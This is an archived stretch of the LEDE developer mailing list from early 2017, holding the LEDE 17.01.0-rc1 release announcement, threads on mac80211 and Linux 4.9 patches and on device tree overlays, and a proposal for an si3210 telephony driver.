>> while adding my type of RTC chip to the device tree is specific to my
>> config, so i would like to keep it separated. The obvious solution is
>> to  to maintain my customization patches on the top of the upstream, but
>> if it's possible i want to avoid that, for which it would be perfect to
>> keep it in an 'env'.
>> Thx,
> In the future this will be handled at runtime via device tree overlays.
That sounds good, it would be nice to have device tree overlay
configuration support in OpenWrt.
Thx for the info, regards,

>
> - Felix

Zoltan Gyarmati
https://zgyarmati.de


-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 473 bytes
Desc: OpenPGP digital signature
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170131/fe460396/attachment.sig>

From tharvey at gateworks.com  Tue Jan 31 14:22:06 2017
From: tharvey at gateworks.com (Tim Harvey)
Date: Tue, 31 Jan 2017 14:22:06 -0800
Subject: [LEDE-DEV] mac80211 / wireless drivers update
In-Reply-To: <08e7daea-d996-cc4d-a500-dc6b74ee0ae0@nbd.name>
References: <08e7daea-d996-cc4d-a500-dc6b74ee0ae0@nbd.name>
Message-ID: <CAJ+vNU2U_+C31ypnt4D2f833rxJEpou1p-vQ_UOFU8a3Kxm7Nw@mail.gmail.com>

On Fri, Jan 27, 2017 at 2:15 AM, Felix Fietkau <nbd at nbd.name> wrote:
> Hi everybody,
>
> I just pushed an update of the mac80211 package to the current
> wireless-testing version in preparation for adding Linux 4.9 support.
> You can find my tree here:
> https://git.lede-project.org/?p=lede/nbd/staging.git;a=summary
>
> Please test it with your favorite wifi driver and let me know if
> anything breaks.
>
> - Felix

Hi Felix,

Thanks for posting your 4.9 work in progress!

I used it to get some patches ready for imx6 4.9 support and found
that the mtd/ubi patches needed some work for 4.9 so you likely didn't
get to those yet. My tree can be found here:
https://github.com/Gateworks/lede/commit/a6d5376f806bee1ac90f1036d0b4eabd2da06da7

Regards,

Tim


From jo at mein.io  Tue Jan 31 18:46:31 2017
From: jo at mein.io (Jo-Philipp Wich)
Date: Wed, 1 Feb 2017 03:46:31 +0100
Subject: [LEDE-DEV] LEDE v17.01.0-rc1
Message-ID: <be93be48-caa0-f6a4-ae36-0ba35ff616a4@mein.io>

Hi,

The LEDE Community is proud to announce the first release candidate of
the upcoming LEDE 17.01 stable version series. It incorporates thousands
of commits made during the course of the last months and allows us to
refine the code base for the final v17.01.0 version.

With this release, the LEDE development team closes out an intense
effort to modernize many parts of OpenWrt and incorporate many new
modules, packages, and technologies.

---

Some selected highlights since the OpenWrt Chaos Calmer release are:

  * Linux kernel updated to version 4.4.42 (from 3.18 in Chaos Calmer)
  * Update of essential software:
    * dnsmasq updated to 2.76 (from 2.73 in Chaos Calmer)
    * busybox updated to 1.25.1 (from 1.23.2 in Chaos Calmer)
    * mbedtls version 2.4.0 (updated from polarssl 1.3.14 in Chaos
      Calmer)
    * openssl updated to 1.0.2k
  * Improved Security Features
    * Use SHA256 instead of MD5 to validate source code for upstream
      packages
    * mbedtls: disable SSLv3 support
    * OpenSSL: disable support for compression, heartbeats, NPN,
      Whirlpool, and J-PAKE
    * Memory Corruption Mitigation Methods
      * gcc -Wformat -Wformat-security
      * User space Stack-Smashing Protection (Regular)
      * Kernel space Stack-Smashing Protection (Regular)
      * buffer-overflows detection (FORTIFY_SOURCE) (Conservative)
      * RELRO protection (Full)
  * Improved Networking Support
    * Smart Queue Management (SQM) minimizes bufferbloat by using the
      cake and fq_codel qdisc's. //[[:docs:howto:sqm|More...]]//
    * Improvements to the WiFi stack eliminating bufferbloat on ath9k,
      mt76 and some ath10k chipsets
    * Airtime fairness scheduler for ath9k to prevent slow stations
      from hogging too much airtime
    * Various stability and regression fixes to the Linux wireless
      stack and ath9k in particular
    * Provide alternative Candela-Tech ath10k-ct driver
  * Updated toolchain
    * musl 1.1.15
    * gcc 5.4.0
    * binutils 2.25.1
  * Platform and Driver Support
    * Lantiq
      * Added redistributable DSL firmware
      * Updated DSL phy drivers
    * Added new targets:tickets
      * apm821xx (AppliedMicro APM821xx)
      * arc770 (Synopsys DesignWare ARC 770D)
      * archs38 (Synopsys DesignWare ARC HS38)
      * armvirt (QEMU ARM Virtual Machine)
      * ipq806x (Qualcomm Atheros IPQ806X)
      * layerscape (NXP Layerscape)
      * zynq (Xilinx Zynq 7000 SoCs)
    * Reorganized x86 target:
      * Drop dedicated Xen DomU target, merged with x86/generic
      * Enable AES-NI support
    * Removed targets:
      * realview, replaced by armvirt
      * ppc44x, disabled due to code brokeness
      * netlogic, dropped due to no available hardware
  * Build system improvements
    * Separation of base system and community feeds to simplify
      distribution of binary package updates
    * Fixes and enhancements in package dependency handling, better
      support for virtual provides
    * Per-device rootfs images to better tune package selection to each
      individual device profile
    * New image build code improving compilation times and simplifying
      device profile declarations
    * New package/.../check make target to run a series of standard
      diagnostics on Makefiles
    * Support for fetching sources using Curl
    * Generate reproducible source tarballs when packing SCM checkouts
  * Image Builder / SDK
    * Rework library bundling to allow for better portability between
      different Linux distributions
    * Add support for building kernel modules using the SDK
  * Added support for a many new routers and boards

---

Known issues:

  * Available space on devices with only 4MB flash is very low,
    users requiring extra packages might want to consider using the
    image builder to repack custom images

  * The available memory on devices with 16MB RAM might be too low to
    reliably run opkg or sysupgrade operations, especially in
    conjunction with LuCI

  * The source snapshot tarballs produced by Github do not correctly
    compile all packages due to missing Git history information, this
    will be fixed with the next RC

  * The SDK tarballs embed a wrong revision and might report "r0+3043"
    instead of "r3042", this is a cosmetic issue which will get fixed
    with the next RC

  * Any outstanding issues reported at https://bugs.lede-project.org/

---

For the latest information about the 17.01 release and for detailed
change logs, refer to the wiki page at:
https://lede-project.org/releases/17.01/

To download the v17.01.0-rc1 images, navigate to:
https://downloads.lede-project.org/releases/17.01.0-rc1/

---

A big thank you goes to all our active package maintainers, testers,
documenters and supporters.

Have fun!

The LEDE Community

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 819 bytes
Desc: OpenPGP digital signature
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170201/3317a4f1/attachment.sig>

From giu.lippolis at gmail.com  Tue Jan 31 22:58:01 2017
From: giu.lippolis at gmail.com (Giuseppe Lippolis)
Date: Wed, 1 Feb 2017 07:58:01 +0100
Subject: [LEDE-DEV] telephony: adding telephony functionality
Message-ID: <001201d27c58$87e713c0$97b53b40$@gmail.com>

Dear All,
after some investigation on my DWR-512 board I discovered the hw
architecture of the telephone voice channel embedded in the router.
The board embeds one 3g modem plugged on the mini pcie slot and one proslic
device (si3210 - subscriber line interface circuit).
The hw architecture is shown below. 

        T                   V
        |                   |
      +-------+           +-------+
IRQ   |       |  PCM bus  |       | events
  +---|  si   |<=========>|   3g  |---------+
  |   | 3210  |           | modem |         |
  |   +-------+           +-------+         |
  |     ^                     ^             |
  |     |                     |             |
  |     | spidev1.0           |             |
  |     |                     | ttyUSB0/1   |
  |   +-------+               |             |
  |   |       |---------------+             |
  +-->|  uP   |                             |
gpio1 |       |<----------------------------+
      +-------+     ttyUSB1

	  
The si3210 is controlled by the uP through the second channel of the spi bus
(currently I'm using the spidev driver).
The si3210 is able to report several events through one IRQ line connected
to the gpio1.
The audio channel (tx,rx) are transferred using the PCM interface.
The si3210 is slave on the PCM bus, the master is the 3g modem.
The rt5350 have a pcm interface, but it seems not connected (I need to
investigate further with more dedicated test).
The 3g modem is connected through the USB bus, there are several interface
among which 2 cdc-ether and 4 ttyUSB.
The device can be controlled using the AT cmd using the ttyUSB0 and ttyUSB1.
The telephone events are reported only on the ttyUSB1 channel.

Currently I developed some userspace tools to initialize the si3210 and
control its operations (including setup a working call).

My next plan is to develop a driver for the si3210 and then one userspace
daemon to enable the telephone voice (and sms) channel functions.

The si3210 driver shall be platform independent, because it will be plugged
on the top of the spi driver and shall provide system call to the userspace
(it could also be used to implement a Asterisk dahdi driver if someone find
it useful).

Have someone some comments about this plan?
Are any similar project known, where I can look?



From nbd at nbd.name  Tue Jan 31 23:23:10 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Wed, 1 Feb 2017 08:23:10 +0100
Subject: [LEDE-DEV] mac80211 / wireless drivers update
In-Reply-To: <CAJ+vNU2U_+C31ypnt4D2f833rxJEpou1p-vQ_UOFU8a3Kxm7Nw@mail.gmail.com>
References: <08e7daea-d996-cc4d-a500-dc6b74ee0ae0@nbd.name>
 <CAJ+vNU2U_+C31ypnt4D2f833rxJEpou1p-vQ_UOFU8a3Kxm7Nw@mail.gmail.com>
Message-ID: <df80670e-14c8-eb33-2c75-b0b284decb2c@nbd.name>

On 2017-01-31 23:22, Tim Harvey wrote:
> On Fri, Jan 27, 2017 at 2:15 AM, Felix Fietkau <nbd at nbd.name> wrote:
>> Hi everybody,
>>
>> I just pushed an update of the mac80211 package to the current
>> wireless-testing version in preparation for adding Linux 4.9 support.
>> You can find my tree here:
>> https://git.lede-project.org/?p=lede/nbd/staging.git;a=summary
>>
>> Please test it with your favorite wifi driver and let me know if
>> anything breaks.
>>
>> - Felix
> 
> Hi Felix,
> 
> Thanks for posting your 4.9 work in progress!
> 
> I used it to get some patches ready for imx6 4.9 support and found
> that the mtd/ubi patches needed some work for 4.9 so you likely didn't
> get to those yet. My tree can be found here:
> https://github.com/Gateworks/lede/commit/a6d5376f806bee1ac90f1036d0b4eabd2da06da7
Thanks. I folded your fixes into my commits, reworked them a bit and
added your S-o-b to my main 4.9 update commit.

- Felix


